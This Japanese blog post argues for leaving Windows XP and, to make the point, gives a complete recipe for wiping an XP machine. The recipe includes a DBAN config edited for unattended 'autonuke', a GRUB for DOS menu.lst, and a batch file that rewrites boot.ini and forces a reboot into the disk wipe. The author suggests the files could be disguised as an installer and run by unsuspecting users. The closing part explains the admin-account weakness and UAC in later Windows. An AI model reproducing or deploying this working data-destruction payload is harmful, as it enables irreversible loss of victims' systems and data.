タイトルに「悪用厳禁!」とか付くタイプの方法です。思いつきで作ってみたら簡単にできましたのでご報告いたします。プログラミングなどの特別な事をせずに、Webから入手したファイルのみで行えてしまいますよ。
最終的にこうなります。
以前、Windows XPユーザーへ新しいPCへの買い替えをすすめる仕組みを入れましたというブログを書きましたが、別にWindows XPが憎いわけではなく、早めの移行を後押ししたいという意図があります。あまり「XPにはこんな問題があります」という後ろ向きな内容ではなく、「最新OSはこんなにメリットがあります」というほうがいいんですけどね。
方針
「なるべく簡単な方法でWindows XP以外のOSを起動できるようにして、そこからWindows XPを消去する」を目指してみました。以下のような環境を作ります。
- HDDのデータを削除するDBAN (Darik's Boot And Nuke)を使用する
- WindowsからLinuxを起動できるようにGRUB for DOSを使用する
- GRUB for DOSを起動できるようにboot.iniを書き換える
作り方詳細
用意するもの
- DBANのISOファイル
- 今回は
dban-2.2.8_i586.iso
を使用しました
- GRUB for DOSの
grldr
ファイル
1.DBANを自動実行できるように設定を書き換える
DBANのISOファイルをマウントするとISOLINUX.CFG
というファイルがあります。ファイル先頭付近の設定項目2つを書き換えます。
# Set this option to zero if you wish to skip the boot prompt.
PROMPT 1
# This label will be started if you just push enter at the boot prompt, or if
# you set the PROMPT option above to zero.
DEFAULT dban
1つ目の値を0にすることで、ブート時のプロンプトをスキップして、起動直後にデフォルトの動作を行います。
# Set this option to zero if you wish to skip the boot prompt.
PROMPT 0
2つ目の項目がデフォルトの動作です。これらの内容の下に、設定するべき値の一覧があります。自動実行はautonuke
です。
# This label will be started if you just push enter at the boot prompt, or if
# you set the PROMPT option above to zero.
DEFAULT autonuke
ISOから他のファイルも取り出し、書き換えたISOLINUX.CFG
で起動可能なISOファイルに作り直します。起動可能にするためにブートイメージはISOLINUX.BIN
を指定します。ISOの作成にはImgBurnが簡単です。ISOLINUX.BIN
の指定はここです。
2.作成したISOをGRUB for DOSで起動できるように設定ファイルを書く
GRUB for DOSの配布ファイル内のmenu.lst
を参考に、1で作成したdban.iso
を起動できるようにmenu.lst
を作成します。たとえばこんな感じです。
color blue/green yellow/red white/magenta white/magenta
timeout 0
default 0
title DBAN
find --set-root /dban.iso
map /dban.iso (0xff)
map --hook
root (0xff)
chainloader (0xff)
3.boot.ini
を書き換えるバッチファイルを書く
バッチファイルで既存のGRUB for DOSのgrldr
を起動できるboot.ini
を置き換えます。既存のboot.ini
を削除して、システムドライブのドライブレターに合わせて必要な情報を書き込みます。
@echo off
set bootini=%SystemDrive%\boot.ini
del /Q /A:S /A:H %bootini%
echo [boot loader] >> %bootini%
echo timeout=0 >> %bootini%
echo default=%SystemDrive%\grldr >> %bootini%
echo [operating systems] >> %bootini%
echo %SystemDrive%\grldr=DBAN >> %bootini%
attrib +S +H %bootini%
move grldr %SystemDrive%\
move menu.lst %SystemDrive%\
move dban.iso %SystemDrive%\
shutdown /r /f /t 0
さらに、grldr
と作成したdban.iso
とmenu.lst
もシステムドライブ直下に配置します。
システムドライブがCドライブの場合、以下のようなboot.ini
がCドライブ直下に作成されます。
[boot loader]
timeout=0
default=C:\grldr
[operating systems]
C:\grldr=DBAN
最後にshutdownコマンドを置くと、起動設定を書き換えて再起動します。
実行してみる
適当に用意したWindows XP環境にこの4つのファイルを配置してみます。
バッチファイルを実行するとgrldrと作成したdban.isoとmenu.lstがコピーされます。
boot.ini
も書き換わっています。
再起動されて...
DBANが起動します。
そのままディスクの消去が実行されます。
PCの電源を切って再度起動すると起動できなくなり、XPのシステムが消去されました。すっきり。
MBRを改変してシステムを破壊するサイバー攻撃がありました
boot.iniを書き換えて別のOSを起動する方法でシステムを消去しましたが、2013年3月20日の韓国の銀行や放送局でのシステム障害はマルウェアによってMBRを改変されました。
この攻撃を進化させて、MBRを破壊するのではなく、別のOSを起動してPCをbot化する事も不可能ではありませんね。
単にPCのデータを消去するだけれあれば、配布されているDBANをCDに焼いて起動すればよいだけです。今回のようなファイル群を脆弱性を用いない方法、たとえば 何らかのインストーラーに偽造する などの方法で実行される可能性は大いにあります。
今回作成したファイル群が動作してしまうのは脆弱性を使用したものではないですが、Windows XPが抱える1つの大きな問題があります。
脆弱性以前の大きな問題:Windows XPの「全員管理者」な運用
Windows XPのコントロールパネルでユーザーアカウント管理を行うと、ユーザーを「コンピュータの管理者」か「制限付きアカウント」に設定できます。制限ユーザーはプログラムのインストールなど、多くの操作を制限されているために日常の操作には大変不便でした。このため、 ユーザーアカウントはすべて管理者として設定されている 状態が多くの環境で行われていました。
なお、「制限付きアカウント」ではシステムドライブ直下のファイル操作は行えませんでした。今回のバッチファイルもアクセスが拒否され動作しません。IT管理者によるきちんと管理された環境では、一般ユーザーは「制限付きアカウント」に設定され、このような簡単なシステムの書き換えは行えないようにできます。無論、専任のIT管理者がいる大きな組織ではXPからの移行は既に終わっていると思いますが... 終わってるよね?
Windows Vista以降のWindowsではUACというセキュリティ機構により、システムの変更を伴う操作はダイアログが出て直接実行されないようになりました。また、OSの起動情報についても、NTLDRが使用するboot.ini
ファイルから、bcdedit.exe
などのツールによるWindows Boot Managerへの操作に変わり、簡単な書き換えが行えなくなりました。
まとめ:それでもWindows XPを使い続けられるか
ガジェット通信にWindows XPにサポート終了について、読みやすく柔らかい文章で解説された連載があります。
2001年に発売したWindowds XPは、技術革新など変化の激しいコンピュータ業界のアーキテクチャとしては相当に古いものです。これはセキュリティ機構も例外ではありません。
今回は管理者権限の運用の問題を使用したいたずらを行ってみましたが、サポート終了後は脆弱性も放置されるため、 脆弱性による被害のほうが問題が大きくなる と思います。攻撃を受けたシステムは自身が被害を受けるだけでなく、 他の攻撃のための踏み台に使用される 可能性が大いにあります。
Windowds XPのサポート終了まであと1か月とわずかです。 それでもWindowds XPまだ使い続けますか?
コメントする